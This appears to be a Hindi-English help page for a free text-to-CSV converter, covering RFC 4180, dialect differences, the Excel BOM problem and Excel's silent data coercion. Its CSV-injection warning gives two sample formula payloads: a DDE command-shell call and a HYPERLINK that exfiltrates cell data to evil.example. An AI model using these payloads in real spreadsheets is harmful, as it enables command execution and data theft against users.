मुफ़्त टेक्स्ट से CSV कनवर्टर
तालिका टेक्स्ट डेटा को CSV फ़ॉर्मेट में कनवर्ट करें। सेपरेटर, उद्धरण प्रबंधन और डाउनलोड से पहले पूर्वावलोकन की स्वचालित पहचान।
CSV प्रारूप के बारे में
CSV (Comma-Separated Values) सारणीबद्ध डेटा संग्रहीत करने के लिए एक सरल टेक्स्ट प्रारूप है। प्रत्येक पंक्ति एक पंक्ति है।
CSV में क्यों रूपांतरित करें?
- डेटा पोर्टेबिलिटी · किसी भी टेक्स्ट प्रारूप से CSV में रूपांतरित करें, स्प्रेडशीट में आयात करना आसान।
- सार्वभौमिक प्रारूप · CSV Excel, Google Sheets, डेटाबेस और प्रोग्रामिंग टूल द्वारा समर्थित है।
- डेटा सफ़ाई · असंगत विभाजकों और फ़ॉर्मेटिंग को मानकीकृत करें।
- API और स्वचालन · CSV बल्क ऑपरेशन और एकीकरण के लिए आदर्श है।
- संग्रह प्रारूप · सारणीबद्ध डेटा को पठनीय और प्लेटफ़ॉर्म-स्वतंत्र प्रारूप में रखें।
अक्सर पूछे जाने वाले प्रश्न
टूल कौन से विभाजक का समर्थन करता है?
यह स्वचालित रूप से टैब, स्पेस, कॉमा, सेमीकोलन और पाइप का पता लगाता है। आप कस्टम विभाजक भी सेट कर सकते हैं।
कॉमा वाले फ़ील्ड को कैसे संभालें?
कॉमा वाले फ़ील्ड को उद्धरण में रखने के लिए "कॉमा वाले फ़ील्ड को उद्धरण में रखें" विकल्प सक्षम करें, जो CSV मानक के अनुरूप है।
क्या मैं हेडर शामिल कर सकता हूँ?
हाँ, यदि आपकी पहली पंक्ति में कॉलम नाम हैं तो "हेडर पंक्ति शामिल करें" विकल्प सक्षम करें।
CSV का एक संक्षिप्त इतिहास, इसे define करने वाले spec से भी पुराना
CSV वह format है जिसे सभी use करते हैं और जिसका कोई owner नहीं है। इसकी lineage informal है। comma-separated convention के सबसे पुराने documented usage की तारीख 1972 है, जब IBM Fortran (level H extended) ने list-directed input/output support किया जहाँ commas एक line पर values के बीच separators के रूप में serve करते थे। 1970s और 1980s के दौरान, हर database, spreadsheet, statistics package और accounting application जिसे किसी दूसरे tool के साथ data swap करना था, ने independently «values separated by some character on lines separated by some other character» का कोई variant invent किया। कोई spec नहीं था। कोई governing body नहीं था। कोई canonical implementation नहीं था। बस consensus था, सबसे loose possible sense में।
2000s की शुरुआत तक, chaos की cost को ignore करना impossible हो गया। IETF ने eventually एक specification accept की, RFC 4180, «Common Format and MIME Type for Comma-Separated Values (CSV) Files,» Yakov Shafranovich द्वारा अक्टूबर 2005 में published। RFC 4180 short है, बस कुछ pages, और इसने वह codify किया जिस पर अधिकांश लोग पहले से converge हो चुके थे: field separator के रूप में comma, ऐसे fields के लिए optional enclosure character के रूप में double quote जिनमें commas या quotes या newlines हैं, quoted field के अंदर literal quote escape करने का तरीका doubled double-quotes (""), line terminator के रूप में CRLF, और IANA के साथ registered MIME type के रूप में text/csv। spec ने MIME type के लिए optional header parameter भी define किया ताकि sender receiver को बता सके कि क्या पहली line header row है।
RFC 4180 informational है, strict standard नहीं। इसका compliance voluntary है। लेकिन यह हमें एक target देता है, CSV के «correct» की definition के सबसे करीब की चीज़। एक बाद का document, W3C «Model for Tabular Data and Metadata on the Web» (CSVW, 2015), ने CSV के metadata story को extend करने की कोशिश की एक JSON sidecar attach करके जो बताता है कि प्रत्येक column क्या है और इसे कैसे interpret किया जाए। CSVW widely cited है और rarely deployed।
practical world में «CSV» का अर्थ RFC 4180 की definition से अलग है
जो भी किसी अजनबी से CSV प्राप्त करना पड़ा है वह problem की shape जानता है। disagreements कई axes पर break down होते हैं:
- Separator character। RFC 4180 comma कहता है। continental Europe के देशों में European Excel installations (अधिकांश continental Europe, France, Germany, Italy, Spain, Netherlands, Brazil) जहाँ comma decimal separator है, CSV लिखते समय default रूप से semicolon separator use करते हैं, क्योंकि comma use करने से π के लिए
3,14जैसे numeric values के साथ collision होगा। file extension अभी भी.csvहै; MIME type अभी भीtext/csvहै; content वह नहीं है जो एक American या British recipient expect करता है। - Quoting। RFC 4180 कहता है double quotes में wrap करें जब field में separator, quote, या newline हो; embedded quotes को double करें (इसलिए
He said "hi","He said ""hi"""बन जाता है)। practice में, कई writers सब कुछ quote करते हैं (paranoid), कुछ कुछ नहीं quote करते (और comma आते ही break हो जाते हैं), और कुछ backslash (\") से escape करते हैं, एक C convention जो RFC-compliant parsers को break करती है। - Line endings। RFC 4180 CRLF (
\r\n) mandate करता है। Windows पर Excel CRLF produce करता है। classic Mac पर Excel केवल CR (\r) produce करता था। अधिकांश Unix और Linux tools LF (\n) produce करते हैं। तीनों.csvlabel वाली files में appear होते हैं और variation उन parsers को break करती है जो एक expectation hard-code करते हैं। - Trailing newlines। कुछ writers last record को line break के साथ terminate करते हैं; अन्य नहीं करते। Parsers जो line breaks count करके records count करते हैं, input के आधार पर off-by-one errors report करते हैं।
- Headers। wild में files roughly आधी-आधी हैं। MIME type एक
header=presentparameter allow करता है, लेकिन CSV email करते समय कोई MIME headers नहीं भेजता, इसलिए आपको guess करना पड़ता है।
BOM trap
इस section का अपना स्थान deserves है क्योंकि यह cross-platform CSV pain का सबसे common source है। Microsoft Excel UTF-8 encoded CSV को auto-detect नहीं करेगा जब तक file UTF-8 byte order mark से शुरू न हो: तीन bytes EF BB BF, जो Unicode character U+FEFF encode करते हैं। BOM के बिना, Excel file को user के Windows locale के legacy code page में open करता है (West में Windows-1252, Japan में Shift_JIS, mainland China में GBK)। कोई भी non-ASCII character (accented letters, currency symbols, emoji, CJK characters) mangled हो जाता है।
fix BOM prepend करना है। cost यह है कि बाकी सब इस पर choke करते हैं। Apple Numbers (recent versions तक) first cell में BOM को literal character के रूप में दिखाता है। कई command-line tools (awk, cut, older sed) BOM को first field का हिस्सा मानते हैं, इसलिए name read होना चाहिए था वह header name read होता है। अधिकांश JavaScript CSV parsers इसे strip करते हैं; कई older Python csv-module workflows नहीं करते (आपको utf-8-sig codec के साथ file open करनी होगी)। चूँकि एक free online tool यह नहीं जान सकता कि user file कहाँ open करेगा, BOM omit करना और document करना कि Excel users को Data → From Text/CSV use करना चाहिए (जो हमेशा user को explicitly UTF-8 pick करने देता है) एक reasonable default है।
Excel कम से कम चार «CSV» formats ship करता है
Excel का «Save As» dialog एक से अधिक CSV variant offer करता है, और differences matter करते हैं:
- CSV (Comma delimited) (*.csv): user के locale list separator use करता है (en-US/en-GB में comma, fr-FR/de-DE/es-ES/it-IT/pt-BR में semicolon)। Encoding legacy ANSI code page है। कोई BOM नहीं। Line endings CRLF।
- CSV UTF-8 (Comma delimited) (*.csv): ऊपर जैसा ही separator behaviour (name के बावजूद अभी भी locale-driven) लेकिन BOM के साथ UTF-8 में encoded। Excel 2016 में introduce किया गया।
- CSV (Macintosh) (*.csv): comma-separated, MacRoman encoding, classic Mac line endings (केवल CR)। largely obsolete लेकिन अभी भी appear होता है।
- CSV (MS-DOS) (*.csv): comma-separated, OEM code page (en-US में CP437, Western Europe में CP850), CRLF।
user-facing label «CSV» को चार अलग-अलग तरीकों से कहता है। actual file content materially different है। यह वह practical reality है जिसके अंदर converter operate करता है।
specifically text → CSV convert क्यों करें
अधिकांश online «CSV tools» inverse direction run करते हैं: एक CSV लें, कुछ और emit करें (JSON, HTML table, SQL INSERT, printable PDF)। यह उल्टा run करता है: messy text लें, clean CSV produce करें। यह use case है:
- emails की एक list को spreadsheet rows में clean करना। एक CRM operator BCC field से 800 emails एक notepad में copy करता है। mail-merge tool पर upload के लिए spreadsheet में प्रत्येक email को अपनी row पर होना चाहिए। Paste करें, header जोड़ें, download करें।
- PDF से copied table convert करना। PDF tables, copy होने पर, अक्सर text के रूप में arrive होती हैं जहाँ columns spaces (या tabs, PDF generator के आधार पर) के runs द्वारा separated होते हैं। एक flexible delimiter («consecutive whitespace» सहित) इसे एक clean grid में बदल देता है।
- AI-generated outputs restructure करना। Large language models Markdown tables emit करना पसंद करते हैं। User एक Markdown table paste कर सकता है; converter pipe delimiters और dash separator row detect करता है; output एक real CSV है।
- logs को Excel या Google Sheets में import करना। Apache combined log format, syslog records, और कई application logs line-oriented हैं लेकिन natively spreadsheet-friendly नहीं हैं। CSV में convert करें, spreadsheet में open करें, sort करें, filter करें, pivot करें।
- database
COPYstatements के लिए data prepare करना। PostgreSQL काCOPY ... FROM STDIN WITH (FORMAT csv)CSV directly read करता है। एक text file में list वाला user paste, convert और\copyकर सकता है एक table में बिना loader script लिखे। - batch operations के लिए CSV manually build करना। Stripe, Mailchimp, Shopify और अधिकांश SaaS platforms bulk operations के लिए CSV import expose करते हैं। जिस user को 30 product prices manually update करने हैं वह rows construct करता है; tool उनकी typed list को exact CSV में बदल देता है जो platform expect करता है।
Excel आपका data rewrite करेगा, कभी-कभी silently
कुछ CSV foot-guns careful users को भी bite करते हैं:
- Leading zeros गायब हो जाते हैं।
01234का US ZIP code1234के रूप में open होता है।0049का phone extension49के रूप में open होता है।00ABCका product codeABCके रूप में open होता है अगर Excel mid-stream decide करे कि column text है। एकमात्र reliable defence या तो apostrophe prepend करना है (display hack), column को text के रूप में pre-format करना है, या Excel का Data → From Text/CSV import path use करना है जो आपको column types lock करने देता है। - Scientific notation auto-conversion।
0123456789012जैसी long numeric string1.23457E+11बन जाती है जब Excel decide करे कि यह एक number है। original characters चले जाते हैं। इसने gene-name datasets को इतना corrupt किया कि HUGO Gene Nomenclature Committee ने 2020 में कई genes का नाम बदल दिया specifically Excel के coercion से बचने के लिए, MARCH1, SEPT2 और OCT4 जैसे gene symbols dates बन रहे थे। - Date auto-detection। musical key signatures
3/4,4/4,6/8,7/8वाला column dates बन जाता है: 3 April, 4 April, 6 August, 7 August। यही1-1जैसे serial numbers और1:30जैसे times के लिए भी होता है। - Hexadecimal interpretation।
0x1Aऔर0E5दोनों valid Excel-recognised number representations हैं। register addresses या chemistry compound codes का एक column silently mutate हो सकता है। - CSV injection attack।
=,+,-,@, या tab/CR से शुरू होने वाले field को Excel और Google Sheets formula के रूप में interpret करते हैं।=cmd|'/c calc'!A0या=HYPERLINK("https://evil.example/?d="&A1, "Click")जैसा malicious value spreadsheet client की settings के आधार पर adjacent cell contents exfiltrate कर सकता है या shell commands run कर सकता है। कोई भी tool जो user-submitted text से CSV emit करता है उसे leading formula characters escape करने पर consider करना चाहिए। - Quoted fields containing newlines।
"Hello,\nworld"जैसा field जिसमें quotes के अंदर literal newline है, disk पर दो lines span करने वाला एक field है। Parsers जो पहले newlines पर split करते हैं और फिर commas पर split करते हैं, data को silently corrupt करेंगे। सही CSV parsing एक state machine है,String.splitके दो passes नहीं।
CSV के modern alternatives में इस tool का स्थान
CSV survive करता है क्योंकि यह text है और humans इसे read कर सकते हैं। serious data interchange के लिए, कई formats ने specific dimensions पर इसकी जगह ले ली है:
- Apache Parquet। एक binary columnar format। Files typed, compressed और column-oriented हैं (इसलिए
SELECT col1 FROM big_file.parquetdisk से केवल वह column read करता है)। analytics workloads के लिए default, Snowflake, BigQuery, Databricks और Athena इसे natively read करते हैं। «जब आप दोनों ends control करते हैं तो CSV के बजाय क्या use करना चाहिए» का strongest contender। Binary है, इसलिए यह text editor में read करने का use case satisfy नहीं करता। - JSON Lines (JSONL / NDJSON)। प्रति line एक JSON object। CSV की streamability को JSON के typed, nested structure के साथ combine करता है। log ingestion, ML datasets और event streams के लिए widely used। Trade-off: CSV से अधिक verbose (हर record हर key repeat करता है)।
- Apache Arrow IPC (Feather v2)। tabular data के लिए एक binary in-memory और on-the-wire format, processes और languages के बीच zero-copy interchange के लिए designed। data-science toolchains (pandas, R का arrow package, Polars, DuckDB) के अंदर heavily used।
- Avro और ORC। Hadoop ecosystem से binary, schema-carrying formats। data engineering के बाहर कम common।
developers और office workers के लिए targeted एक free online converter के लिए, CSV सही output format बना रहता है क्योंकि यह data import हर जगह की lingua franca है। Modern alternatives exist; उन्होंने inbox में CSV को displace नहीं किया है।
अधिक प्रश्न
क्या मुझे output में UTF-8 BOM add करना चाहिए?
अगर file Windows पर Excel double-click के लिए destined है, हाँ, BOM के बिना, Excel इसे legacy code page में open करता है और non-ASCII text को mangle करता है। अगर यह किसी और चीज़ के लिए destined है (Apple Numbers, command-line scripts, web upload forms), BOM omit करें। सबसे safe path BOM omit करना और Excel users को instruct करना है कि Data → From Text/CSV के through import करें, जहाँ वे explicitly UTF-8 choose कर सकते हैं।
मेरी CSV Excel में एक cell per row के साथ open होती है, क्या गलत हुआ?
लगभग हमेशा separator mismatch। आप एक ऐसे locale में हैं जहाँ Excel semicolons expect करता है (continental Europe के अधिकांश भाग), लेकिन file commas use करती है, या vice versa। double-clicking के बजाय Data → From Text/CSV के साथ open करें; वह wizard आपको delimiter explicitly choose करने देता है। या file को Excel के Save As menu से उस variant के साथ save करें जो आपके local separator से match करे।
TSV और CSV के बीच क्या अंतर है?
TSV commas के बजाय separator के रूप में tab characters use करता है, अपने MIME type text/tab-separated-values और IANA registration के साथ। TSV का advantage यह है कि real-world data में literal tabs rarely होते हैं, इसलिए quoting की लगभग कभी आवश्यकता नहीं होती; disadvantage यह है कि tabs text editors में invisible हैं और copy-paste behaviour vary करता है। CSV की quoting machinery इसे उन fields के लिए safe बनाती है जिनमें delimiter होता है; TSV mostly problem को पूरी तरह avoid करता है।
क्या मेरी file share करने से पहले run करने के लिए कोई CSV linter है?
हाँ, command-line use के लिए, csvkit का csvclean wrong number of columns वाली rows report करता है। Frictionless Data का frictionless CLI एक optional schema के विरुद्ध validate करता है। Browser-based work के लिए, PapaParse line-by-line parse errors report करता है। RFC 4180 के विरुद्ध strict validation (CRLF line endings, doubled-quote escaping) practice में rare है; अधिकांश parsers common variants में से किसी को भी accept करते हैं।